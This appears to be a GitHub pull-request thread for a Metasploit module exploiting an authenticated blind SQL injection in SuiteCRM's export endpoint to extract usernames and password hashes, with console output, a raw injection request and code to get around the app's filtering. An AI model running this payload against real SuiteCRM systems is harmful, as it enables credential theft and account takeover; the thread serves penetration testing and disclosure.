metasploit-framework
metasploit-framework copied to clipboard
SuiteCRM auth SQLi auxiliary module
The original advisory by Exodus Intelligence mentions a unauthenticated RCE vulnerability in SuiteCRM. After some enumeration I wasn't able to find an unauthenticated entry point, or an RCE. However I was able to find an authenticated SQLi in the parameter described in the advisory and so this module exploits that SQLi which enables the user to retrieve users and their associated hashes
Notes
The module uses boolean blind based injection is used to determine the users in the database and each user's hashed password. The password collection takes a minute or two based on connection speed.
TODO:
Verification
msf6 auxiliary(scanner/http/suite_crm_export_sqli) > set rhosts 192.168.123.207
rhosts => 192.168.123.207
msf6 auxiliary(scanner/http/suite_crm_export_sqli) > set username admin
username => admin
msf6 auxiliary(scanner/http/suite_crm_export_sqli) > set password admin
password => admin
msf6 auxiliary(scanner/http/suite_crm_export_sqli) > run
[*] Authenticating as admin
[+] Authenticated as: admin
[*] Fetching Users, please wait...
[*] Users = ["admin", "JoeDerp", "msfuser"]
[*] Fetching Hashes, please wait...
[+] (1/3) Username : admin ; Hash : $2y$10$TqjKZ4dWGNYQGiwDu5qSUu0RIsAO7uPRdIvX7gIm4pwjn.2t4ZYvi
[+] (2/3) Username : JoeDerp ; Hash : $2y$10$Qt4iloeWIQhgVX85cMNHieGVXYltvC/7fDaY1y5MhM90SZpENSJCm
[+] (3/3) Username : msfuser ; Hash : $2y$10$kr3tWzSZDbM9/y.FLZKf2esC1aghyEMa4e8KovsCCUE/GHlBjkgLe
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Do you have manual exploitation steps that would allow retrieving data?
With the current state of the SQL injection library, payload
could look like:
ascii(mid(cast((YOUR_QUERY) as binary), 1, 1))&2=0
It would contain commas.
xss_cleanup
shouldn't be a problem if the substitution happens when the data is about to get returned to the client, encoders have this purpose, you just use base64
or hex
.
If you can share an exploitation strategy, I'll have a look into the library to see if it can perform SQL injection in this case.
Thanks for your pull request! Before this can be merged, we need the following documentation for your module:
I've made a pull-request : https://github.com/jheysel-r7/metasploit-framework/pull/3 .
I don't think that integrating this kind of features in the SQLi library would be useful, commas are rarely filtered in user input, and this technique (using like ...%) involves doing a linear search (not a binary one) for retrieving characters, which is slower.
In the PR I made, I redefined the blind_detect_length
and blind_dump_data
for the SQL injection object that this module uses, in my opinion, that's the best thing to do in this case (only this module needs this redefinition).
And also, underscores and percentage signs cannot be included in query outputs, so, use an encoder if there is any risk of that happening (I think hashes cannot include them, so I only did it for the usernames).
One more thing: Getting a valid UID is not required, you can use OR
to have the same result.
@red0xff, thanks so much for the contributions, they are all very appreciated. I've merged them into this PR.
I made one small change to get_user_hashes
, just to print them out as they are discovered as well as add them to the database once discovered.
Looks like the Docker instructions are incorrect as linking to version 8 is not the right version and will also install the latest version 8 available. Will update code to reflect correct installation instructions in a sec.
Doing some cookie reworking as looking at sugar_user_theme=
it seems we can have multiple themes and so we shouldn't just be matching on the default here. See https://tools.digitalpoint.com/cookie-search?name=sugar_user_theme for some sites with different themes including Suite7, Suite5, and sometime the company's own custom theme.
As it stands right now this code will only consider successful authentication on sites with the default theme installed.
Got a lot of bugs during testing. This one was interesting:
msf6 auxiliary(scanner/http/suite_crm_export_sqli) > check
[-] This module does not support check.
Also seems like we aren't bailing properly if the login fails for some reason (ignore the 200's I was checking status of response after requests):
msf6 auxiliary(scanner/http/suite_crm_export_sqli) > run
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Authenticating as user
[-] Failed to authenticate as: user
[*] Version detected: 7.12.5
[+] The target is vulnerable.
200
[*] Fetching Users, please wait...
200
200
200
200
200
200
200
200
^C[*] Caught interrupt from the console...
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/suite_crm_export_sqli) >
return Exploit::CheckCode::Vulnerable if version >= Rex::Version.new('7.12.5')
<- Looks like that needs fixing. I assume you don't want to try exploiting 7.12.6
👍 Will reverse the order of that check now.
Seems like the request/response pattern here might not be working given we are going up into the 668 for the binary here?
####################
# Request:
####################
POST /index.php?entryPoint=export HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36 Edg/97.0.1072.69
Cookie: PHPSESSID=or1la7luvgqt9egvgph954vpnn; ck_login_id_20=1; ck_login_language_20=en_us; sugar_user_theme=SuiteP
Content-Type: application/x-www-form-urlencoded
Content-Length: 140
uid=,\,))+OR+(length(cast((select to_base64(group_concat(DISTINCT user_name)) from users) as binary))=668);+--+&module=Accounts&action=index
####################
# Response:
####################
HTTP/1.1 200 OK
Date: Fri, 19 Aug 2022 22:38:07 GMT
Server: Apache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: cache
Set-Cookie: ck_login_id_20=1; expires=Thu, 17-Nov-2022 22:38:07 GMT; Max-Age=7776000; domain=127.0.0.1; HttpOnly, ck_login_language_20=en_us; expires=Thu, 17-Nov-2022 22:38:07 GMT; Max-Age=7776000; domain=127.0.0.1; HttpOnly, sugar_user_theme=SuiteP; expires=Sat, 19-Aug-2023 22:38:07 GMT; Max-Age=31536000; HttpOnly
Content-Disposition: attachment; filename="Accounts.csv"
Content-transfer-encoding: binary
Last-Modified: Fri, 19 Aug 2022 22:38:07 GMT
Content-Length: 572
X-Content-Type-Options: nosniff
Content-Type: text/comma-separated-values; charset=ISO-8859-1
"Name","ID","Website","Email Address","Non Primary E-mails","Office Phone","Alternate Phone","Fax","Billing Street","Billing City","Billing State","Billing Postal Code","Billing Country","Shipping Street","Shipping City","Shipping State","Shipping Postal Code","Shipping Country","Description","Type","Industry","Annual Revenue","Employees","SIC Code","Ticker Symbol","Parent Account ID","Ownership","Campaign ID","Rating","Assigned to","Assigned User","Date Created","Date Modified","Modified By","Created By","Deleted","Longitude","Geocode Status","Latitude","Address"
Seems like the request/response pattern here might not be working given we are going up into the 668 for the binary here?
#################### # Request: #################### POST /index.php?entryPoint=export HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36 Edg/97.0.1072.69 Cookie: PHPSESSID=or1la7luvgqt9egvgph954vpnn; ck_login_id_20=1; ck_login_language_20=en_us; sugar_user_theme=SuiteP Content-Type: application/x-www-form-urlencoded Content-Length: 140 uid=,\,))+OR+(length(cast((select to_base64(group_concat(DISTINCT user_name)) from users) as binary))=668);+--+&module=Accounts&action=index #################### # Response: #################### HTTP/1.1 200 OK Date: Fri, 19 Aug 2022 22:38:07 GMT Server: Apache Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: cache Set-Cookie: ck_login_id_20=1; expires=Thu, 17-Nov-2022 22:38:07 GMT; Max-Age=7776000; domain=127.0.0.1; HttpOnly, ck_login_language_20=en_us; expires=Thu, 17-Nov-2022 22:38:07 GMT; Max-Age=7776000; domain=127.0.0.1; HttpOnly, sugar_user_theme=SuiteP; expires=Sat, 19-Aug-2023 22:38:07 GMT; Max-Age=31536000; HttpOnly Content-Disposition: attachment; filename="Accounts.csv" Content-transfer-encoding: binary Last-Modified: Fri, 19 Aug 2022 22:38:07 GMT Content-Length: 572 X-Content-Type-Options: nosniff Content-Type: text/comma-separated-values; charset=ISO-8859-1 "Name","ID","Website","Email Address","Non Primary E-mails","Office Phone","Alternate Phone","Fax","Billing Street","Billing City","Billing State","Billing Postal Code","Billing Country","Shipping Street","Shipping City","Shipping State","Shipping Postal Code","Shipping Country","Description","Type","Industry","Annual Revenue","Employees","SIC Code","Ticker Symbol","Parent Account ID","Ownership","Campaign ID","Rating","Assigned to","Assigned User","Date Created","Date Modified","Modified By","Created By","Deleted","Longitude","Geocode Status","Latitude","Address"
The will unfortunately not work against an empty instance of SuiteCRM. Because we chose to exploit the Accounts
module of SuiteCRM (as seen below) there needs to be at least one account registered in order to get the correct response from the SQLi.
def send_injection_request_cgi(payload)
res = send_request_cgi({
'method' => 'POST',
'keep_cookies' => true,
'uri' => normalize_uri(target_uri.path, 'index.php?entryPoint=export'),
'encode_params' => false,
'vars_post' => {
'uid' => payload,
'module' => 'Accounts',
'action' => 'index'
}
})
When installing from source, the installation wizard gives you the option to seed the application for testing. I chose that option and missed this edge case.
When using the docker container you can authenticate to the app in the web browser with user: user
and password bitnami
. Then at the top of the screen click the Create
dropdown, select Create Accounts
. The Name field is the only required field, give it a name, click save and the target should be exploitable. I'll add this to the ~docker~ doc section.
Updated documentation files as the previous ones were for an older version of the module located in a different location.
Also prepare for a great rebasing shortly once I finish up some final touches on this documentation since its a bit out of date for the examples.
Release Notes
This adds support for EIP-0f5d2d7f, a vulnerability in uid
parameter of the index.php?entryPoint=export
page on SuiteCRM prior to 7.x prior to 7.12.6 that allows for authenticated SQL injection. The module exploits this SQL injection vulnerability to extract the usernames and password hashes for SuiteCRM users, which can then be cracked offline later to gain access to SuiteCRM.